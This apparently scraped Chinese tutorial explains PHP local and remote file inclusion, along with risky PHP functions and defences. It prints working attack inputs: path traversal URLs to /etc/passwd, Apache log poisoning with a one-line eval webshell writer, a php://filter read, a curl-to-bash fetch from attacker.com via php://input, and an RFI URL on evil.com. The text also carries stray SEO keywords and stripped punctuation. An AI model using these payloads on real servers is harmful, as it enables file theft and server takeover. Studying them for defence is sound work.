php 网站开发平台,做会展网站的公司的工作流程,医院做网站运维,网站 建设 现状目录
说明
通常分为两种类型#xff1a;
本地文件包含
典型的攻击方式1#xff1a;
影响#xff1a;
典型的攻击方式2#xff1a;
包含路径解释#xff1a;
日志包含漏洞#xff1a;
操作原理
包含漏洞读取文件
文件包含漏洞远程代码执行漏洞:
远程文件包含…目录
说明
通常分为两种类型
本地文件包含
典型的攻击方式1
影响
典型的攻击方式2
包含路径解释
日志包含漏洞
操作原理
包含漏洞读取文件
文件包含漏洞远程代码执行漏洞:
远程文件包含
典型的攻击方式
影响
文件包含漏洞的根本原因
语言包含漏洞
PHP文件包含漏洞函数
文件包含漏洞相关的常见 PHP 函数
1. include() 和 require()
2. include_once() 和 require_once()
3. fopen() 和 fread()
4. file_get_contents()
5. readfile()
6. highlight_file()
7. fpassthru()
总结
防御措施
输入验证与过滤
禁用远程文件包含
使用绝对路径
文件包含路径限制
日志记录与监控
代码审计与渗透测试
总结 说明
文件包含漏洞File Inclusion Vulnerability是一种常见的Web安全漏洞它允许攻击者通过修改文件路径包含服务器上未经授权的文件可能导致敏感信息泄露、代码执行或服务器被入侵。根据文件包含的行为
通常分为两种类型 本地文件包含LFI 远程文件包含RFI 本地文件包含
LFI 是指攻击者能够包含和执行服务器本地文件系统中的文件 攻击者通过修改程序中的文件路径参数访问并读取本地文件如配置文件、日志文件、甚至敏感的系统文件有时也能执行恶意文件。 典型的攻击方式1
攻击者通过修改 URL 参数来试图包含本地文件例如
http://example.com/index.php?page../../../../etc/passwd在这个例子中 攻击者试图通过“../../../../etc/passwd”来访问服务器上的 /etc/passwd 文件Unix/Linux 系统中的一个存储用户账户信息的文件。 影响 信息泄露攻击者能够查看服务器上的敏感文件如配置文件、日志文件、密码文件等。路径遍历攻击攻击者可以通过构造特殊的路径访问并查看不应公开的文件。恶意文件执行如果不当配置或存在缺陷攻击者甚至可以包含可执行文件进行代码执行。 典型的攻击方式2 用户输入控制 应用程序允许用户通过URL参数或其他输入来指定文件路径。例如
?php
include($_GET[page]);
?这种代码会根据用户传入的page参数来包含文件。
包含路径解释 绝对路径包含 相对路径包含 文件穿越漏洞 包含一些图片吗进行控制 包含敏感文件读取出来 远程文件包包含另外一个网站 得文件其它网站得文件包含进来。 直接引用别人得网站得图片 前提是看别人开启了相关参数没。 日志包含漏洞
日志包含漏洞是指攻击者通过注入恶意内容到日志文件中可能会破坏日志文件的完整性或通过日志文件将恶意代码执行。攻击者可以伪造日志或在日志中插入恶意的HTTP头、SQL注入等攻击代码进而进行进一步的攻击。
操作原理 当某个PHP文件存在本地包含漏洞而却无法上传正常文件. 这就意味着有包含漏洞却不能拿来利用这时攻击者就有可能会利用apache日志文件来入侵. Apache服务器运行后会生成两个日志文件这两个文件是access.log(访问日志)和error.log(错误日志)。 apache的日志文件记录下我们的操作并且写到访问日志文件access.log之中 前提开启了日志记录功能 apache 其实还是需要指纹收集收到日志目录的位置 其实这种方式就是把木马直接写入到日志文件中. 在访问网站得时候 加入木马程序 也就是在访问程序得时候加入一句话木马相关程序 这样就会写入到程序中去了 蚁箭 冰蝎 连接程序 Winwos程序中都有一句话木马程序 连接 http://192.168.1.9/dvwa/vulnerabilities/fi/?page../../../../Apache\logs\access.log 写入后再访问 就可以通过日志进行访问 1浏览器日志 记录可能会编译成url编码 2通过抓包 也就会变成正常得编码记录到日志 然后访问日志目录就可以进入文件包含漏洞进行入侵。 记录下php得一句话木马程序写法写入一句话木马 通过蚁箭连接不上 换个方式写入php一句话木马?php $filefopen(jaden.php,w);fputs($file,?php eval($_POST[666]);?);?数据存在于存在与执行得目录中 jaden.php问题: 我们在实际操作得时候 如何确定日志是空 如何找到对应日志目录 指纹收集 包含漏洞读取文件
读取php文件 包含就能读取: 采用得是file:///协议 读取php文件不想执行 Php:/// 读取文件 指定php协议来读取协议 http://192.168.1.9/dvwa/vulnerabilities/fi/?pagephp://filter/readconvert.base64-encode/resourcefile4.php 以base64得数据格式进行读取出来 通过文件包含漏洞利用 file:// 伪协议读取文件是一种常见的攻击手段特别是当Web应用程序允许通过用户输入指定文件路径时。攻击者可以利用这种方式绕过某些安全控制从而读取本地文件例如 /etc/passwd 或其他敏感文件或者执行路径遍历攻击来获取服务器上的敏感信息。file:///etc/passwd 文件包含漏洞远程代码执行漏洞: 文件包含漏洞File Inclusion Vulnerability如果结合远程文件包含Remote File Inclusion, RFI和不当的配置或攻击者操控的输入可能导致远程代码执行漏洞Remote Code Execution, RCE在这种情况下攻击者不仅能读取文件还能执行恶意代码导致严重的安全问题。 服务端存在包含漏洞 也就是通过include(php://input) 进行执行而不是用文件进行执行 执行得命令 Php://input 执行过程
?php
system(curl -s http://attacker.com/malicious_script.sh | bash);
?远程文件包含
RFI 是指攻击者能够通过包含远程的恶意文件来攻击网站 通常情况下RFI 涉及到文件路径中包含 URL允许攻击者从外部服务器加载并执行恶意脚本。 典型的攻击方式
攻击者通过修改 URL 中的参数将远程服务器上的恶意文件包含到服务器中
http://example.com/index.php?pagehttp://evil.com/malicious_script.php在这个例子中 攻击者试图加载并执行远程服务器上的 malicious_script.php 文件可能执行恶意操作比如执行反向 shell、窃取数据、或劫持服务器 比如说我们本地搭建了一个程序 编写了一个webshell然后通过远程文件包含漏洞访问本地搭建的服务中的webshell文件实现对肉鸡的控制。 影响
远程代码执行攻击者能够远程执行恶意代码这可能导致服务器完全被控制。网站篡改攻击者可能通过上传恶意脚本篡改网站内容或窃取用户信息。数据泄露攻击者可通过包含恶意文件窃取数据库连接信息或其他敏感数据。 文件包含漏洞的根本原因 用户输入未严格验证文件路径参数或 URL 没有经过充分的验证和过滤允许攻击者修改路径。不当的文件处理逻辑代码未对文件包含操作进行适当的权限控制或路径限制导致攻击者能够访问和执行敏感文件。缺乏安全配置服务器未启用适当的配置例如禁止远程文件包含RFI或没有禁用危险函数如 include, require, fopen 等。 语言包含漏洞 包含操作在大多数Web语言中都会提供的功能 但PHP对于包含文件所提供的功能太强大太灵活所以包含漏洞经常出现在PHP语言中这也就导致了出现了一个错误现状 很多初学者认为包含漏洞只出现PHP任何语言都会存在文件包含的漏洞. 公共代码封装在专门的文件类中 也就是封装的一个概念 引入其它封装的条件 Import-python 也就是代码漏洞 针对不同的语言 比如说 go php java python 也就是对应相关的函数 PHP文件包含漏洞函数
PHP 作为一种常用的 Web 编程语言具有一些常用的函数这些函数可以导致文件包含漏洞尤其在没有进行严格的输入验证时。 文件包含漏洞相关的常见 PHP 函数
1. include() 和 require()
功能 include() 和 require() 用于将文件引入当前 PHP 文件并执行。include() 在文件不可用时会发出警告warning而 require() 会发出致命错误fatal error并停止执行。 安全隐患
include($_GET[page]);
// 如果未进行过滤攻击者可以传递恶意的文件路径如 ../../etc/passwd如果传入的文件路径参数未经过严格验证攻击者可能利用路径遍历../../或者远程文件包含攻击加载敏感文件或远程恶意文件。 2. include_once() 和 require_once()
功能
与 include() 和 require() 相同但它们确保文件只会被包含一次避免重复包含文件导致的错误。
安全隐患
如果传入的文件路径不被验证攻击者依然可以通过路径遍历或远程文件包含攻击来操控文件包含。 3. fopen() 和 fread()
功能
fopen() 打开文件fread() 读取文件内容通常用于读取文本或二进制文件内容。
安全隐患
$file fopen($_GET[file], r); // 如果未验证攻击者可以操控路径读取文件如果文件路径未经过验证攻击者可以读取服务器上的敏感文件或恶意文件。 4. file_get_contents()
功能
file_get_contents() 用于读取文件内容并将其作为字符串返回。
安全隐患
$content file_get_contents($_GET[file]);如果参数为用户输入的文件路径或 URL攻击者可以通过路径遍历或远程文件包含攻击来读取本地或远程恶意文件。 5. readfile()
功能
readfile() 输出文件内容到浏览器通常用于直接输出文件内容。
安全隐患
readfile($_GET[file]);攻击者可以通过路径遍历攻击或包含远程文件输出敏感文件内容或恶意代码。 6. highlight_file()
功能
highlight_file() 输出 PHP 源代码并对其进行语法高亮显示。
安全隐患
highlight_file($_GET[file]);如果没有限制或验证攻击者可以通过该函数查看服务器上任意 PHP 文件的源代码可能泄露敏感信息。 7. fpassthru()
功能
fpassthru() 函数读取并直接输出文件的内容通常与 fopen() 配合使用。
安全隐患
$file fopen($_GET[file], r);
fpassthru($file);与 fread() 和 file_get_contents() 类似如果文件路径未被验证攻击者可以利用该函数读取并输出敏感文件内容。 总结
PHP 中的文件包含函数如 include()、require()、fopen() 等是文件包含漏洞的核心来源尤其在未严格验证用户输入时容易导致路径遍历、远程文件包含RFI或本地文件包含LFI攻击。防御这种漏洞的关键是 严格控制文件路径参数的来源和内容禁用不必要的功能如远程文件包含采用绝对路径、白名单、权限控制等手段限制文件的访问范围。 防御措施 输入验证与过滤 对所有用户输入的文件路径参数进行严格的过滤和验证拒绝任何可能导致路径遍历如 ../的输入。使用白名单机制限制只能包含特定目录下的文件。 禁用远程文件包含 在 PHP 中禁用 allow_url_include 和 allow_url_fopen防止包含远程文件。设置 open_basedir限制 PHP 程序只能访问特定目录下的文件。 使用绝对路径 避免使用用户提供的路径参数来构建文件路径。尽量使用固定的路径或基于配置的安全路径。 文件包含路径限制 使用 basename() 或类似的函数确保包含的文件不会遍历目录结构。对于包含的文件最好限定在特定的目录内避免通过路径构造访问任意文件。 日志记录与监控 配置 Web 服务器和应用程序进行日志记录监控异常的文件包含请求。设置警报机制及时发现潜在的文件包含攻击。 代码审计与渗透测试 定期进行代码审计检查可能存在文件包含漏洞的地方。使用自动化工具进行渗透测试模拟文件包含攻击查找漏洞。 总结
文件包含漏洞是一个相对常见且危险的安全问题尤其在动态网页系统中由于代码没有对外部输入进行有效的验证攻击者可以通过文件包含漏洞来执行恶意代码或泄露敏感数据。防御这种漏洞的关键在于对用户输入的严格验证、文件路径的严格控制以及远程文件包含的禁用。 喜欢本文的请动动小手点个赞收藏一下有问题请下方评论转载请注明出处并附有原文链接谢谢如有侵权请及时联系。